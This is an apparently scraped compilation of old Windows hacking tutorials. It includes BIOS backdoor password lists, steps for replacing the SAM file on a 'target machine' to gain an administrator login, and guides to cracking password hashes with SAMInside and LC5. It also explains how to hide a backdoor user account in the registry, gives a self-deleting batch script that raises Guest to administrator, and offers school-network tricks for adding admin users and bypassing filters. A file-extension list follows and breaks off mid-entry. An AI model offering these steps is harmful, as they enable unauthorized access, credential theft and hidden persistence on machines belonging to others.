4- Check "create a DOS startup disk" checkbox and then select option "using DOS System Files Located at"
5- brows your location
6- Click Start
7- Now you have a Bootable USB Storage Device
8- Now in the NTFSDOS Professional Boot Disk Wizard follow the wizard and you will get a NTFS bootable USB Storage

Why we need NTFS ?
If the Partition of the Windows System is NTFS so with normal Startup you will not be able to access any files because the File System is not Recognized by MS-DOS when we install NTFSDOS Professional on the bootable disk it will allow you To Access any File Under NTFS

Note:
Make sure that the option in Mother board Setup of First Boot "USB-Hard Disk" if you want to boot from a USB
10-Mother Boards Default Passwords and how to extract it if you are in The system

This subject is huge I try to find simple or clever way but as u know many PC's many machines many bios versions and updates so I search the net for the best and I list below ,but if this doesn’t help I recommend you to find the bios version and the motherboard and search the net on Google, yahoo, yahoo groups and other you will find some thing help u

HOW TO BYPASS BIOS PASSWORDS
http://www.elfqrin.com/docs/biospw.html

Removing a Bios - CMOS Password
http://www.dewassoc.com/support/bios/bios_password.htm

How to Bypass BIOS Passwords
http://www.uktsupport.co.uk/reference/biosp.htm

How to Bypass BIOS Passwords
http://www.i-hacked.com/content/view/36/70/

Default Password List
2006-04-30
http://www.phenoelit.de/dpl/dpl.html

Award BIOS backdoor passwords:
ALFAROME--------BIOSTAR--------KDD--------ZAAADA-------- ALLy--------CONCAT--------Lkwpeter--------ZBAAACA-------- aLLy-------- CONDO--------LKWPETER--------ZJAAADC-------- aLLY--------Condo--------PINT--------01322222-------- ALLY--------d8on--------pint--------589589-------- aPAf--------djonet--------SER--------589721-------- _award--------HLT--------SKY_FOX--------595595-------- AWARD_SW--------J64--------SYXZ--------598598 AWARD?SW--------J256--------syxz-------- AWARD SW--------J262--------shift + syxz-------- AWARD PW--------j332--------TTPTHA-------- AWKWARD--------j322-------- awkward

AMI BIOS Backdoor Passwords:
AMI--------BIOS--------PASSWORD--------HEWITT RAND-------- AMI?SW--------AMI_SW--------LKWPETER--------CONDO

Phoenix BIOS Backdoor Passwords: phoenix--------PHOENIX--------CMOS--------BIOS

Misc. Common Passwords
ALFAROME--------BIOSTAR--------biostar--------biosstar-------- CMOS--------cmos--------LKWPETER--------lkwpeter-------- setup--------SETUP--------Syxz--------Wodj
Other BIOS Passwords by Manufacturer
Manufacturer--------Password
VOBIS & IBM-------- merlin
Dell--------Dell
Biostar-------- Biostar
Compaq--------Compaq
Enox--------xo11nE
Epox--------central
Freetech--------Posterie
IWill--------iwill
Jetway--------spooml
Packard Bell--------bell9
QDI--------QDI
Siemens--------SKY_FOX
TMC--------BIGO
Toshiba--------Toshiba
Toshiba--------BIOS

Most Toshiba laptops
and some desktop systems will bypass the BIOS password if the left shift key is held down during boot
IBM Aptiva BIOS
Press both mouse buttons repeatedly during the boot

Access Data of a Password Protected User in Windows XP in Case the PC Fails to Boot

Access Data of a Password Protected User in Windows XP in Case the PC Fails to Boot

You may come across a situation in which your windows XP PC fails to reboot, and the most accepted solution to that problem is to re-format the Hard Disk. Before formatting, you should backup your files. If your computer is password protected, you won't be able to access them from outside, so here is a method for getting around this.

Steps
Boot the machine from Windows XP bootable CD.
At the setup screen, select R to repair using Recovery Console.
Now the console program will prompt you to select the Windows folder (eg. C:\WINDOWS) where the Windows is installed (you need to enter a number from the list of folders shown to you).
Type 'HELP' (without single quotes) and press enter for available commands. This is like a DOS program, but some features are not available.
Change the current directory to the user's directory where you want to backup.
Type 'CD "C:\Documents and Settings\X"' (without single quotes) and press enter. Where X is the username.
Now the current directory will change to "C:\Documents and Settings\X".
Now change the directory to Desktop by entering 'CD Desktop' (without single quotes) and press enter to go to the desktop folder.
Type 'DIR' (Without single quotes) and press enter, you will be listed all the available files in Desktop.
Type 'COPY a.doc D:\BACKUP' (without quotes) and press enter, where a.doc is a file available in Desktop and the folder D:\BACKUP available to copy the files.
As in step 7,8,9,10 you can backup other folders like "My Documents", "My Music", etc.
Note that you cannot use wildcards for COPY. I.e, you cannot copy all the files in a folder at once. You must copy one file by one.

Tips
Before doing this, try changing the password to blank so that you can access the data from another machine to easily drag and drop to copy your data.

Warnings
Any data not backed up will be permanently deleted when you re-format the hard drive, so make sure you back up any thing you want to keep.

Things You'll Need
A bootable Windows XP CD

Administrator like account

interesting article
shared from http://geocities.com

1-Introduction
This article introduce very simple way to get Administrator like account and do the job and after finish recover your way, after that Get Admin Password later in your home by Cracking, After get the Admin Password Create a hidden user account and do all your jobs free, and Explain how to make a USB Storage Device Bootable corresponding to any system boot, and how to bypass Mother Board password by Default Passwords, and how to extract it if you are in the system
2-To Hackers / Security Systems Engineers
First All must know that both Hackers / Security Systems Engineers Are 2 faces to the same coin Any way, I try this on Windows XP SP2 I want all to try it on Windows Server 2003, Windows Vista Any Windows NT and POST a Message to make all know what versions exactly this idea can apply for
3-Close Look to hole
Microsoft stores all Security Information in many files but the main file is the SAM file (Security Accounts Manager)! this file contain critical information about users account you can explore the folder
$windir$\system32\config
You will find all things and may discover some thing new, but what amazing here is that the file is available, so we can apply our idea You will Not be able To copy them Under XP
4-Dose Microsoft Know and Why!?
Yes Microsoft Know all things, and done on purpose why? I always for many years ask my self why Microsoft doesn’t do real security on their systems from the CD setup to all security aspects In the system, I found(my opinion may wrong)that they need to achieve 2 strategic things

1-They need their software spread and all depend on it and in one day when they feel that they are the One The security will done and all money will go to One Pocket

2-They Forced/Like to Make Some Organizations Hack other systems

Proof:
They can make this File SAM Unavailable by storing the information in FAT, FAT32, NTFS Areas (Sectors reserved by The Operating SYSTEM to Store the Addresses of the files on the HardDisk File Allocation Table) So that it is hard to extract. But they don't!!!!!
5-Understand the Idea
The Idea is simple I will explain it manually and it can then be programmed it is so easy here is the idea

The SAM file is available and the SAM file contain a Security Information, so I created a Free Windows XP SP2 Logon account (Administrator Account without password) that means when windows Lunch it Will enter directly to the system without asking about any password And windows will store this Account in The SAM file on My PC So the SAM file on My PC contain an Account will Make you enter Directly to the Windows, so I will take My SAM File and Replace (by renaming, we will need the original file to recover our way) It with the other SAM File in The Other System or Machine So When you restart It will make you enter directly to the Windows With Administrator Like Account ,do what you need and then back all things to the previous state. All These Steps will be under other system bootable DOS, Knoppiex, Windows Live CD, Because Windows XP will not make u able to copy the Files
6-Get Admin Like Account (The Simple Way)

1- Download My 2 SAM files I Include them in Downloads
2- Go to the target Machine , and try to Access it and Boot from any device CD-ROM, Floppy.
3- After Get Access to the Boot Command prompt c:> or Boot Live OS CD, Go to the windows folder $windir$\system32\config And Copy the SAM File and System File (we will need it later) To other folder, Then go to $windir$\repair copy SAM file
And then Rename the 2 SAM Files to SAM1 in their original places
4- Copy My SAM/config File and Paste it in the windows folder $windir$\system32\config Copy My SAM/Repair File and Paste it in the windows folder $windir$\repair (may this step not required)
5- Reboot and Make windows enter Normally
6- Yeah, No You are in The System
7- Copy the files in step 3 to Floppy Disk or Flash Stick Or Send it to your mail via Internet
8- After finish repeat step 2 and delete My SAM files and Rename Both SAM1 to SAM
9- Reboot , Congratulation you recover your way
7-Crack the SAM-Know the real Admin Password and Apply Hint 8
There is many ways I will introduce 2 ways and explain 1 After you get the SAM File and System File there are Programs That extract the Accounts and their passwords, depending on the idea of cracking the HASH (the HASH is one way encryption method) so that The program will generate random passwords and convert them to HASH and then compare it with the HASHES in the SAM File , so it may take a long time but for fast you will pay more money for ready made HASHES with their user names and passwords the 2 program are

1-L0phtcrack v4.0 (LC4 alternate name) the most famous on the NET
2-SAMInside http://www.insidepro.com/I include on the Downloads

I will explain fast SAMInside

This is the main window press Ctrl+O or by mouse click Import SAM and SYSTEM

Window will open to import the 2 files and the program will start to crack the Accounts and get them, and then display users names and their passwords

Any other tool will do the job try all and select your best I Explain here SAMInside because he give me results with 6 character only password and get it FAST

8-Creat a Hidden User Accountn
Windows NT / Windows 2000 and Windows XP has a security setting to hide accounts from the Logon Screen/Control panel users accounts
Press
Ctrl+Alt+Delet
Give you another Access Dialog

Steps:

1-After getting Admin Password enter to the system
2-create an Account with password
3-click start - > Run - > type Regedit press Enter
4-Go to
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\ CurrentVersion\Winlogon\SpecialAccounts\UserList

5- Create a new DWORD Value on the UserList
6-Name it with Name of Account to be Hidden
7-set the Value Data of this DWORD Value to 0 to hide it /1 to appear it
8- close Regedit and Reboot
9- Press Ctrl+Alt+Delete when logon Screen Appear another login dialog appear type You hidden user name and password and press Enter

Note:

1- the account profile will be visible in \Documents and Settings, But it will be hidden from Logon Screen and User Account in the control panel

2-there is other method that Inject your Account directly to the Admin SAM without know the Admin Pass, but believe me you don't Expect the result, so if you want try it (if the password hard to get)
9-USB Boot for FAT32, NTFS or any File System

HP Always amazing me to do this we need 2 tools

1- HP USB Disk Storage Format Tool v 2.0.6 I include in Downloads If u want to find more go to http://www.hp.com/
2- NTFSDOS Professional Boot Disk Wizard I include in Downloads If u want to find more go to http://www.winternals.com/

Just connect your USB Storage
steps:
1- Prepare a Startup Disk or Startup CD , Or any Equivalent
2- In the HP tool select the Device->your USB Storage
3- Select File System FAT or FAT32
4- Check "create a DOS startup disk" checkbox and then select option "using DOS System Files Located at"
5- brows your location
6- Click Start
7- Now you have a Bootable USB Storage Device
8- Now in the NTFSDOS Professional Boot Disk Wizard follow the wizard and you will get a NTFS bootable USB Storage

Why we need NTFS ?
If the Partition of the Windows System is NTFS so with normal Startup you will not be able to access any files because the File System is not Recognized by MS-DOS when we install NTFSDOS Professional on the bootable disk it will allow you To Access any File Under NTFS

Note:
Make sure that the option in Mother board Setup of First Boot "USB-Hard Disk" if you want to boot from a USB

crack windows passwords

crack windows passwords
now this what m gonna share is old but still works well
credit: geekwithlaptop

There’s a way to crack the password and it doesn’t involve reformatting and reinstalling Windows. The solution is called @stake LC4 (formerly L0phtCrack), however since Symantec stopped development of L0phtcrack, I’m going to let you in on a program called LC5. Just like L0phtCrack, LC5 attacks your Windows machine with a combination of dictionary and brute force attacks. LC5 can crack almost all common passwords in seconds. More advanced passwords with numbers and characters takes longer. The main purpose of the LCP program is user account passwords auditing and recovery in Windows NT/2000/XP. I haven’t tested it against Windows Vista yet, so I’m not sure if it will work. Your mileage may very either way. How it works: Windows NT, 2000 and XP passwords are stored as encrypted hashes. LC5 attacks these hashes with hundreds of passwords per minute. Eventually the correct password will be sent and then displayed to the screen. Good intentions:
can find weak passwords within minutes. Sys admins can then change the passwords to make them more secure.
LC5 can be used to accesscomputers of users who forget passwords.
In companies, it can be used to access computers of employees who have left the company.
Bad intentions:
Hackers can use LC5 to sniff passwords over networks.
Hackers can install this application onto a primary domaincontroller and steal hundreds of passwords within minutes.
Please note that I am not the author of this software. Be advised that if you use this software, you do so at your own risk without any warranty expresses or implied by http://rahulhackingarticles.wetpaint.com
(Download LC5 (v5.04): English version (with installer) - 2.29 MBhttp://www.geekwithlaptop.com/download-manager.php?id=150)
English version (without installer, ZIP) - 1.86 MBhttp://www.geekwithlaptop.com/download-manager.php?id=16
English version (without installer, RAR) -(http://www.geekwithlaptop.com/download-manager.php?id=17) 1.66 MB Software License: LCP is a freeware program. The program may be distributed under condition of saving all files contents and structure of installation package.

Much Simpler trick to HACK admin from GUEST

Well thats possible ..

Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.

HaCk "GUEST" with Admin privileges........

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...

view secure websites

view secure websites
If you are surfing on internet , you can see that some Websites are Secure and you cannot see them, you are somehow blocked to see the Secure site.
Now Fix the problem with seeing them Secrue sites (banks or online stores) i found this very usefull to me at my work....

Any way... what u need to do is make a new notepad file and write in it the followng DLL's.. just copy-paste these

regsvr32 SOFTPUB.DLL
regsvr32 WINTRUST.DLL
regsvr32 INITPKI.DLL
regsvr32 dssenh.dll
regsvr32 Rsaenh.dll
regsvr32 gpkcsp.dll
regsvr32 sccbase.dll
regsvr32 slbcsp.dll
regsvr32 Cryptdlg.dll

and save it as > all file types, and make it something like securefix.bat.

then just run the file and ur problem shuld be gone.

Open command prompt from where it is Banned

Open command prompt from where it is Banned
Open up Command Prompt (Start>Run>Command.com)

Can't use command prompt at your school?

Open up Microsoft word..Type:

Command.com

Then save it as Somthing.bat.

Warning: Make sure you delete the file because if the admin finds out your in big trouble.

--Adding a user to your network--

Type:

Net user Haxxor /ADD

-----
That will add "Haxxor" onto the school user system.
-----
Now you added users lets delete them!

Type: Net user Haxxor /DELETE

Warning: Be carefull it deletes all their files.
-----
"Haxxor" will be deleted from the user system.

-----
Hmmm? It says access denied?

Thats because your not admin!

----
Now lets make your Admin!

----
This will make Haxxor an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.

Type: net localgroup

It will show you what they call admin, say at my school they calll it
adminstrator so then i would

Type: net localgroup administrator Haxxor /ADD

----

Getting past your web filter.

Easy way: Type whatever you want to go on say i wanted to go on miniclips bug on wire i would go to google and search miniclip bug on wire

then instead of clicking the link i would click "cached".

Hard way: I'm hoping you still have command prompt open.

Type: ping miniclip.com

And then you should get a IP type that out in your web browser, and don't forget to put "http://" before you type the IP.

-----
Sending messages throught your school server

Okay, here's how to send crazy messages to everyone in your school on a computer. In your command prompt, type

Net Send * "The server is h4x0r3d"

Note: may not be necessary, depending on how many your school has access too. If it's just one, you can leave it out.

Where is, replace it with the domain name of your school. For instance, when you log on to the network, you should have a choice of where to log on, either to your school, or to just the local machine. It tends to be called the same as your school, or something like it. So, at my school, I use

Net Send Haxxor School * "The server is h4x0r3d"

The asterisk denotes wildcard sending, or sending to every computer in the domain. You can swap this for people's accounts, for example

NetSend Varndean dan,jimmy,admin "The server is h4x0r3d"

use commas to divide the names and NO SPACES between them.

what say??
~Cheers~

or

Allowing dos and regedit in a restricted Windows

A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0

Save it as something.reg then run it. Simple.

All File Formats Ever Known "Dictionary

ABK
Corel Draw AutoBackup
ACL
Corel Draw 6 keyboard accelerator
ACM
Used by Windows in the system directory
ACP
Microsoft Office Assistant Preview file
ACT
Microsoft Office Assistant Actor file
ACV
OS/2 drivers that compress and decompress audio data
AD
After Dark screensaver
ADB
Appointment database used by HP 100LX organizer
ADD
OS/2 adapter drivers used in the boot process
ADM
After Dark MultiModule screensaver
ADP
Used by FaxWorks to do setup for fax modem interaction
ADR
After Dark Randomizer screensaver
AFM
Adobe font metrics
AF2
ABC Flowchart file
AF3
ABC Flowchart file
AI
Adobe Illustrator drawing
AIF
Apple Mac AIFF sound
ALB
JASC Image Commander album
ALL
Arts & Letters Library
AMS
Velvert Studio music module (MOD) file
ANC
Canon Computer Pattern Maker file that is a selectable list of pattern colors
ANI
Animated Cursor
ANS
ANSI text
API
Application Program Interface file; used by Adobe Acrobat
APR
Lotus Approach 97 file
APS
Microsoft Visual C++ file
ARC
LH ARC (old version) compressed archive
ARJ
Robert Jung ARJ compressed archive
ART
Xara Studio drawing
ART
Canon Crayola art file
ASA
Microsoft Visual InterDev file
ASC
ASCII text
ASD
WinWord AutoSave
ASM
Assembler language source file
ASP
Active Server Page (an HTML file containing a Microsoft server-processed script)
ASP
Procomm Plus setup and connection script
AST
Claris Works "assistant" file
ATT
AT&T Group 4 bitmap
AVI
Microsoft Video for Windows movie
AWD
FaxView document
BAK
Backup file
BAS
BASIC code
BAT
Batch file
BFC
Windows 95 Briefcase document
BG
Backgammon for Windows game
BI
Binary file
BIF
GroupWise initialization file
BIN
Binary file
BK
Sometimes used to denote backup versions
BK$
Also sometimes used to denote backup versions
BKS
An IBM BookManager Read bookshelf
BMK
An A bookmark file
BMP
Windows or OS/2 bitmap
BM1
Apogee BioMenace data file
BRX
A file for browsing an index of multimedia options
BSP
Quake map
BS1
Apogee Blake Stone data file
BTM
Batch file used by Norton Utilities
B4
Helix Nuts and Bolts file
C
C code
CAB
Microsoft cabinet file (program files compressed for software distribution)
CAL
CALS Compressed Bitmap
CAL
Calendar schedule data
CAS
Comma-delimited ASCII file
CAT
IntelliCharge categorization file used by Quicken
CB
Microsoft clean boot file
CCB
Visual Basic Animated Button configuration
CCF
Multimedia Viewer configuration file used in OS/2
CCH
Corel Chart
CCM
Lotus CC:Mail "box" (for example, INBOX.CCM)
CDA
CD Audio Track
CDF
Microsoft Channel Definition Format file
CDI
Phillips Compact Disk Interactive format
CDR
Core Draw drawing
CDT
Corel Draw template
CDX
Corel Draw compressed drawing
CEL
CIMFast Event Language file
CFB
Comptons Multimedia file
CFG
Configuration file
CGI
Common Gateway Interface script file
CGM
Computer Graphics Metafile
CH
OS/2 configuration file
CHK
File fragments saved by Windows Disk Defragmenter or ScanDisk
CHP
Ventura Publisher chapter
CIL
Clip Gallery download package
CIM
Sim City 200 file
CIN
OS/2 change control file that tracks changes to an INI file
CK1
iD/Apogee Commander Keen 1 data file
CK2
iD/Apogee Commander Keen 2 data file
CK3
iD/Apogee Commander Keen 3 data file
CK4
iD/Apogee Commander Keen 4 data file
CK5
iD/Apogee Commander Keen 5 data file
CK6
iD/Apogee Commander Keen 6 data file
CLASS
Java class
CLP
Windows Clipboard file
CLS
Visual Basic Class Module
CMD
Command file for Windows NT (similar to a DOS .BAT file)
CMD
DOS CP/M command file
CMD
dBase-II program file
CMF
Corel Metafile
CMP
JPEG Bitmap
CMP
Address document
CMV
Corel Move animation
CMX
Corel Presentation Exchange image
CNF
Configuration file used by Telnet, Windows, and other applications
CNM
Windows application menu options and setup file
CNQ
Compuworks Design Shop file
CNT
Windows (or other) system content files for the help index and other purposes
COB
trueSpace2 object
COD
Microsoft C compiler output as displayable assembler with original C as comments
COM
Command file (program)
CPD
Fax Cover document
CPE
Fax Cover document
CPI
Microsoft MS-DOS code page information file
CPL
Control Panel extension
CPL
Corel colour palette
CPP
C++ code
CPR
Corel Presents Presentation
CPT
Corel Photo-Paint image
CPX
Corel Presentation Exchange Compressed drawing
CRD
Cardfile file
CRP
Corel Presents Run-Time Presentation
CRT
Certificate file
CSC
Corel Script
CSP
PC Emcee On-Screen image
CSV
Comma-separated values file
CT
Scitex CT Bitmap
CTL
Used in general to mean a file containing control information.
CUE
Microsoft Cue Cards data
CUR
Windows Cursor
CUT
Dr Halo bitmap
CV
Corel Versions archive
CV
Microsoft CodeView information screen
CWK
Claris Works data file
CWS
Claris Works template
CXX
C++ source code file
DAT
Data file
DAT
WordPerfect Merge Data
DBF
Aston-Tate dBASE database
DBX
DataBeam image
DCR
Shockwave file
DCS
Desktop Color Separation file
DCX
Fax image (based on PCX)
DDF
BTRIEVE database
DEF
SmartWare II data file
DEF
C++ Definition
DER
Certificate file
DIB
Device-Independent Bitmap
DIC
Dictionary
DIF
Data Interchange Format spreadsheet
DIR
Macromedia Director file
DIZ
Description file
DLG
C++ Dialogue Script
DLL
Dynamic-Link Library
DMF
X-Trakker music module (MOD) file
DOC
FrameMaker or FrameBuilder document
DOC
WordStar document
DOC
WordPerfect document
DOC
Microsoft Word document
DOT
Microsoft Word document Template
DPR
Borland Delphi project header file
DRV
Driver
DRW
Micrografx Designer/Draw
DSG
DooM saved game
DSM
Dynamic Studio music module (MOD) file
DSP
Microsoft Developer Studio project
DSQ
Corel QUERY file
DSW
Microsoft Developer Studio workspace
DWG
AutoCAD drawing eXchange format
DXF
AutoDesk Drawing Interchange format
EMF
Enhanced Windows Metafile
ENC
Encore file
EPS
Encapsulated PostScript image
ER1
ERWin file
ERX
ERWin file
EVY
Envoy document
EWL
Microsoft Encarta document
EXE
Executable file (program)
F
FORTRAN file
F77
FORTRAN file
F90
FORTRAN file
FAR
Farandole Composer music module (MOD) file
FAV
Microsoft Outlook navigation bar
FAX
FAX Type image
FH3
Aldus Freehand 3 drawing
FIF
Fractal image file
FITS
CCD camera image
FLC
AutoDesk FLIC animation
FLI
AutoDesk FLIC animation
FLT
Corel filter
FLT
StarTrekker music module (MOD) file
FMB
Oracle binary source code for form, version 4.0 and later
FMT
Oracle text format of form, version 4.0 and later
FMT
Microsoft Schedule+ print file
FMX
Oracle executable form, version 4.0 and later
FOG
Fontographer font
FON
System font
FOR
FORTRAN file
FOT
Font-related file
FP
FileMaker Pro file
FP1
Flying Pigs for Windows data file
FP3
FileMaker Pro file
FPX
FlashPix bitmap
FRM
Form
FRM
FrameMaker or FrameBuilder document
FRM
Oracle executable form version 3.0 and earlier
FRM
Visual Basic form
FRM
WordPerfect Merge form
FRX
Visual Basic form stash file
GAL
Corel Multimedia Manager album
GCP
Ground Control Point file used in image processing of remote sensing data .
GED
Graphic Environment Document (drawing)
GEM
GEM metafile
GEN
Ventura-Generated text file
GFC
Patton&Patton Flowcharting 4 flowchart file
GFI
Genigraphics Graphics Link presentation
GFX
Genigraphics Graphics Link presentation
GID
Windows 95 global index file (containing help status)
GIF
CompuServe bitmap
GIM
Genigraphics Graphics Link presentation
GIX
Genigraphics Graphics Link presentation
GNA
Genigraphics Graphics Link presentation
GNX
Genigraphics Graphics Link presentation
GRA
Microsoft Graph
GRD
Grid file, used in image processing of remote sensing data often to form map projections.
GRP
Program Manager Group
GTK
Graoumftracker (old) music module (MOD) file
GT2
Graoumftracker (new) music module (MOD) file
GWX
Genigraphics Graphics Link presentation
GWZ
Genigraphics Graphics Link pres
H
C program header
HED
HighEdit document
HEL
Microsoft Hellbender saved game
HEX
Macintosh BinHex 2.0 file
HGL
HP Graphics Language drawing
HLP
Help file
HOG
Lucas Arts Dark Forces WAD file
HPJ
Visual Basic Help Project
HPP
C++ program header
HQX
Macintosh BinHex 4.0 file
HST
History file
HT
HyperTerminal
HTM
Hypertext document
HTML
Hypertext document
HTX
Extended HTML template
ICA
Citrix file
ICB
Targa bitmap
ICM
Image Color Matching profile file
ICO
Windows Icon
IDD
MIDI Instrument Definition
IDQ
Internet Data Query file
IFF
Amiga ILBM
IGF
Inset Systems metafile
IIF
QuickBooks for Windows interchange file
IMA
WinImage file
IMG
GEM image
INC
Assembler language or Active Server include file
INF
Information file
INI
Initialization file
INP
Oracle source code for form, version 3.0 and earlier
INS
InstallShield install script
INS
X-Internet sign-up file
ISO
Lists the files on a CD-ROM; based on the ISO 9660 CD-ROM file system standard
ISP
X-Internet sign-up file
ISU
InstallShield uninstall script
IT
Impulse Tracker music module (MOD) file
IW
Idlewild screensaver
JAR
Java ARchive file (a compressed file for applets and related files)
JAVA
Java source code
JBF
Paint Shop Pro image browser file
JFF
JPEG bitmap
JIF
JPEG bitmap
JMP
SAS JMPDiscovery chart-to-statistics file
JN1
Epic MegaGames Jill of the Jungle data file
JPEG
JPEG bitmap
JPG
JPEG bitmap
JS
JavaScript source code
JTF
JPEG bitmap
KDC
Kodak Photo-Enhancer
KFX
KoFax Group 4 image
KYE
Kye game data

LBM
Deluxe Paint bitmap
LDB
Microsoft Access lock file
LEG
Legacy document
LHA
Alternate file suffix for LZH
LIB
Library
LIS
Output file produced by a Structured Query Reporting (SQR) program
LOG
Log file
LPD
Helix Nuts and Bolts file
LRC
Intel Video Phone file
LST
List file
LWO
Lightwave Object file
LWP
Lotus Wordpro 96/97 file
LZH
LH ARC compressed archive
LZS
Skyroads data file
M3D
Corel Motion 3D animation
MAC
MacPaint image
MAD
Microsoft Access module
MAF
Microsoft Access Form
MAK
Visual Basic or MS Visual C++ Project
MAM
Microsoft Access Macro
MAP
Map file
MAP
Duke Nukem 3D WAD game file
MAQ
Microsoft Access Query
MAR
Microsoft Access Report
MAS
Lotus Freelance Graphics Smartmaster file
MAT
Microsoft Access Table
MAX
Paperport file
MAZ
Hover maze data
MB1
Apogee Monster Bash data file
MCC
Dialer10 calling card
MCS
MathCAD image
MCW
Microsoft Word for Macintosh document
MDA
Microsoft Access add-in
MDB
Microsoft Access database
MDE
Microsoft Access MDE file
MDL
Digital Tracker music module (MOD) file
MDL
Quake model file
MDN
Microsoft Access blank database template
MDW
Microsoft Access Workgroup
MDZ
Microsoft Access wizard template
MED
Music Editor, OctaMED music module (MOD) file
MER
Format for interchanging spreadsheet/database data; recognized by Filemaker, Excel, and others
MET
Presentation Manager metafile
MI
Miscellaneous
MIC
Microsoft Image Composer file
MID
MIDI music
MMF
Microsoft Mail File
MMM
Microsoft Multimedia Movie
MOD
FastTracker, StarTrekker, Noise Tracker (etc.) music module file
MOD
Microsoft Multiplan spreadsheet
MOV
QuickTime for Windows movie
MPE
MPEG animation
MPEG
MPEG animation
MPG
MPEG animation
MPP
Microsoft Project file
MPP
CAD drawing file format
MP3
MPEG Audio Layer 3 (AC3) file
MSG
Microsoft Mail message
MSN
Microsoft Network document
MSP
Microsoft Paint bitmap
MTM
MultiTracker music module (MOD) file
MUS
Music
MVB
Microsoft Multimedia Viewer file
MWP
Lotus Wordpro 97 Smartmaster file
NAP
NAP Metafile
NCB
Microsoft Developer Studio file
NSF
Lotus Notes database
NST
Noise Tracker music module (MOD) file
NTF
Lotus Notes database template
OBD
Microsoft Office binder template
OBD
Microsoft Office Binder
OBJ
Object file
OBZ
Microsoft Office Binder Wizard
OCX
Microsoft Object Linking and Embedding custom control
OFN
Microsoft Office FileNew file
OFT
Microsoft Outlook template
OKT
Oktalyzer music module (MOD) file
OLB
OLE Object Library
OLE
OLE object
OPT
Microsoft Developer Studio file
ORG
Lotus Organiser file
OR2
Lotus Organiser 2 file
OR3
Lotus Organiser 97 file
P10
Tektronix Plot 10 drawing
PAB
Microsoft Personal Address Book
PAK
Quake WAD file
PAL
Windows colour palette
PAT
Corel Draw pattern
PBK
Microsoft Phonebook
PBM
Portable Bitmap
PCD
Kodak Photo-CD image
PCL
HP Laserjet bitmap
PCS
PICS animation
PCT
Macintosh PICT drawing
PCX
ZSoft PC Paintbrush bitmap
PDF
Adobe Acrobat Portable Document Format or Netware Printer Definition File
PDF
Package Definition File from Microsoft Systems Management Server
PDQ
Patton&Patton Flowcharting PDQ Lite file
PFA
Type 1 font (ASCII)
PFB
Type 1 font (binary)
PFC
PF Component
PFM
Printer Font Metrics
PGL
HP Plotter drawing
PGM
Portable Graymap (bitmap)
PIC
PC Paint bitmap
PIC
Lotus picture
PIC
Macintosh PICT drawing
PIF
Program Information File
PIF
IBM PIF drawing
PIG
Lucas Arts Dark Forces WAD file
PIN
Epic Pinball data file
PIN
Epic Pinball data file
PIX
Inset Systems bitmap
PJ
MKS Source Integrity file
PKG
Microsoft Developer Studio application extension (similar to a DLL file)
PL
Perl program
PLT
HPGL Plotter drawing
PLT
AutoCAD Plot drawing
PM5
Pagemaker 5.0 file
PM6
Pagemaker 6.0 file
P65
Pagemaker 6.5 file
PNG
Portable Network Graphics bitmap
PNG
Paint Shop Pro Browser catalogue
PNT
MacPaint graphic file
POT
Microsoft PowerPoint Template
PP4
Picture Publisher 4 bitmap
PPA
Microsoft PowerPoint Add-in
PPM
Portable Pixelmap bitmap
PPS
Microsoft PowerPoint slide show
PPT
Microsoft PowerPoint presentation
PRE
Lotus Freelance presentation
PRF
Windows system file
PRN
Print Table (space delimited text)
PRS
Harvard Graphics for Windows presentation
PRZ
Lotus Freelance Graphics 97 file
PS
Postscript Interpreted drawing
PSD
Adobe Photoshop bitmap
PST
Microsoft Outlook Personal Folder File
PTM
Polytracker music module (MOD) file
PUB
Ventura Publisher publication
PUB
Microsoft Publisher document
PWD
Microsoft Pocket Word document
PWZ
Microsoft PowerPoint Wizard
PXL
Microsoft Pocket Excel spreadsheet

QAD
PF QuickArt Document
QBW
QuickBooks for Windows file
QDT
Quick Books data file from the Quicken UK Accountancy/Tax/Invoice program
QLB
Quick Library
QRY
Microsoft Query
QT
QuickTime Movie
QTM
QuickTime Movie
QXD
Quark XPress file
R
Pegasus Mail resource file
RA
Real Audio sound
RAM
Real Audio sound
RAS
Sun Raster Images bitmap
RAW
Raw File Format (bitmap)
RC
Microsoft Visual C++ Resource Script
REC
Recorder macro
REG
Registration file
RES
Microsoft Visual C++ Resource
RFT
RFT-DCA
RLE
Run-Length Encoded bitmap
RM
Real Audio video file
RMI
MIDI music
ROV
Rescue Rover data file
RPT
Microsoft Visual Basic Crystal Reports file
RTF
Rich Text Format document
RTM
Real Tracker music module (MOD) file

SAM
Ami Professional document
SAV
Saved game file
SCC
Microsoft Source Safe file
SCD
Matrix/Imapro SCODL slide image
SCD
Microsoft Schedule+ 7
SCH
Microsoft Schedule+ 1
SCN
trueSpace2 scene
SCP
Dial-Up Networking Script
SCR
Windows screensaver
SCR
Fax image
SCT
Scitex CT bitmap
SC2
Microsoft Schedule+ 7
SDL
SmartDraw library
SDR
SmartDraw drawing
SDT
SmartDraw template
SEA
Self-expanding archive (used by Stuffit for Mac files and possibly by others)
SEP
Tagged Image File Format (TIFF) bitmap
SHB
Corel Show presentation
SHB
Document shortcut file
SHG
Hotspot bitmap
SHS
Shell scrap file
SHW
Corel Show presentation
SIT
Stuffit archive of Mac files
SLK
Symbolic Link (SYLK) spreadsheet
SND
NeXT sound
SND
Mac Sound Resource
SQC
Structured Query Language (SQR) common code file
SQR
Structured Query Language (SQR) program file
STM
Scream Tracker music module (MOD) file
STY
Ventura Publisher style sheet
SVX
Amiga 8SVX sound
SYS
System file
S3M
Scream Tracker 3 music module (MOD) file
TAR
Tape Archive
TAZ
Unix Gzip/Tape Archive
TEX
Texture file
TGA
Targa bitmap
TGZ
Unix Gzip/Tape Archive
THEME
Windows 95 Desktop Theme
THN
Graphics Workshop for Windows thumbnail
TIF
Tag Image File Format (TIFF) bitmap
TIFF
Tag Image File Format (TIFF) bitmap
TIG
